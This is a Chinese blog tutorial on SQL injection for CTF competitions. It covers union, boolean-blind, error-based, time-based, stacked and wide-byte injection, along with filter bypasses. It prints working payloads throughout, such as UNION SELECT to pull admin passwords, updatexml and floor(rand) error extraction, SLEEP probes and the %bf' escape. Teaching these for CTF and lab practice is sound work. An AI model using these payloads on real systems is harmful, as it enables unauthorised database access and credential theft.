sql(ctf实用篇

在CTF比赛中,SQL注入题目通常围绕几种经典且实用的注入类型设计。以下是 最常用的注入类型 及其利用场景、技巧和示例:


1. 联合查询注入(Union-Based Injection)

  • 使用频率:⭐️⭐️⭐️⭐️⭐️
  • 场景:页面直接回显查询结果(如用户列表、搜索结果显示)。
  • 关键步骤
    1. 闭合引号:通过 '" 破坏原查询,构造合法语法。
    2. 猜列数:使用 ORDER BYUNION SELECT 确定列数。
      ' ORDER BY 3--      -- 判断列数(假设3列时页面正常)
      ' UNION SELECT 1,2,3--   -- 确认回显位置(如页面显示2和3)
      
    3. 泄露数据:替换回显位为查询语句。
      ' UNION SELECT 1, database(), user()-- 
      
  • CTF考点:列数匹配、数据类型匹配、绕过过滤(如UNION被过滤时用UniOn)。

2. 布尔盲注(Boolean-Based Blind Injection)

  • 使用频率:⭐️⭐️⭐️⭐️
  • 场景:页面无回显,但会根据SQL条件返回不同状态(如“存在/不存在”)。
  • 关键步骤
    1. 闭合逻辑:构造条件语句触发页面差异。
      ' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'-- 
      
    2. 逐位爆破:通过二分法或脚本枚举字符。
      # 示例脚本逻辑
      if 页面正常:
          return "字符正确"
      else:
          return "字符错误"
      
  • CTF考点:条件构造、自动化脚本编写(Python + Requests库)。

3. 报错注入(Error-Based Injection)

  • 使用频率:⭐️⭐️⭐️
  • 场景:页面直接返回数据库错误信息(如MySQL的语法错误)。
  • 关键步骤
    1. 触发报错:利用函数强制报错并回显数据。
      ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)-- 
      
    2. 提取信息:从错误信息中提取目标数据(如数据库名、表名)。
  • CTF考点:报错函数的使用(如extractvalueupdatexmlexp)。

4. 时间盲注(Time-Based Blind Injection)

  • 使用频率:⭐️⭐️⭐️
  • 场景:页面无任何回显差异,但可通过响应时间判断条件真假。
  • 关键步骤
    1. 构造延迟:利用时间函数(如SLEEP()BENCHMARK())。
      ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)-- 
      
    2. 时间判断:若页面响应延迟5秒,则说明条件成立。
  • CTF考点:时间函数的绕过(如SLEEP被过滤时用pg_sleep或笛卡尔积延时)。

5. 堆叠查询注入(Stacked Queries)

  • 使用频率:⭐️⭐️
  • 场景:支持多语句执行的数据库(如SQL Server、PHP + mysqli_multi_query)。
  • 关键步骤
    '; INSERT INTO logs (data) VALUES ('hacked');-- 
    
  • CTF考点:权限要求高,通常用于修改数据或写入文件(如SELECT ... INTO OUTFILE)。

6. 宽字节注入(Wide-Character Injection)

  • 使用频率:⭐️⭐️
  • 场景:后端使用GBK等宽字符集且未正确处理转义('被转义为\')。
  • 关键步骤
    %bf' OR 1=1-- 
    
    • %bf与转义符\(URL编码为%5c)结合为合法字符%bf%5c,使引号逃逸。
  • CTF考点:字符编码漏洞的利用。

CTF中SQL注入的通用技巧

  1. 闭合引号与注释符

    • 数字型注入无需闭合引号:?id=1 OR 1=1
    • 字符型注入需闭合:?id=1' OR '1'='1
    • 注释符:-- (空格需保留)、#/*
  2. 绕过过滤

    • 关键字过滤:使用大小写、内联注释、编码(UNI/**/ON)。
    • 空格过滤:用/**/%09(Tab)、%0a(换行)代替。
    • 引号过滤:用Hex编码或CHAR()函数(SELECT CHAR(97)=a)。
  3. 快速利用工具

    • 手工测试后,可用sqlmap自动化利用(但CTF通常要求手注)。

经典CTF题目示例

  1. 联合查询

    • 题目:页面显示用户信息,目标获取管理员密码。
    • 解法:' UNION SELECT 1,password,3 FROM users WHERE username='admin'--
  2. 布尔盲注

    • 题目:登录框无回显,但返回“用户存在/不存在”。
    • 解法:脚本爆破密码每一位:admin' AND password LIKE 'a%'--
  3. 报错注入

    • 题目:搜索框返回数据库错误信息。
    • 解法:' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--

推荐练习平台

  1. SQLi Labs:专为SQL注入设计的靶场。
  2. PortSwigger Web Security Academy:包含多种注入场景。
  3. CTF平台:Hack The Box、CTFtime、攻防世界(XCTF)。

掌握这些类型和技巧后,结合靶场实践,能快速提升CTF中SQL注入的解题能力!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值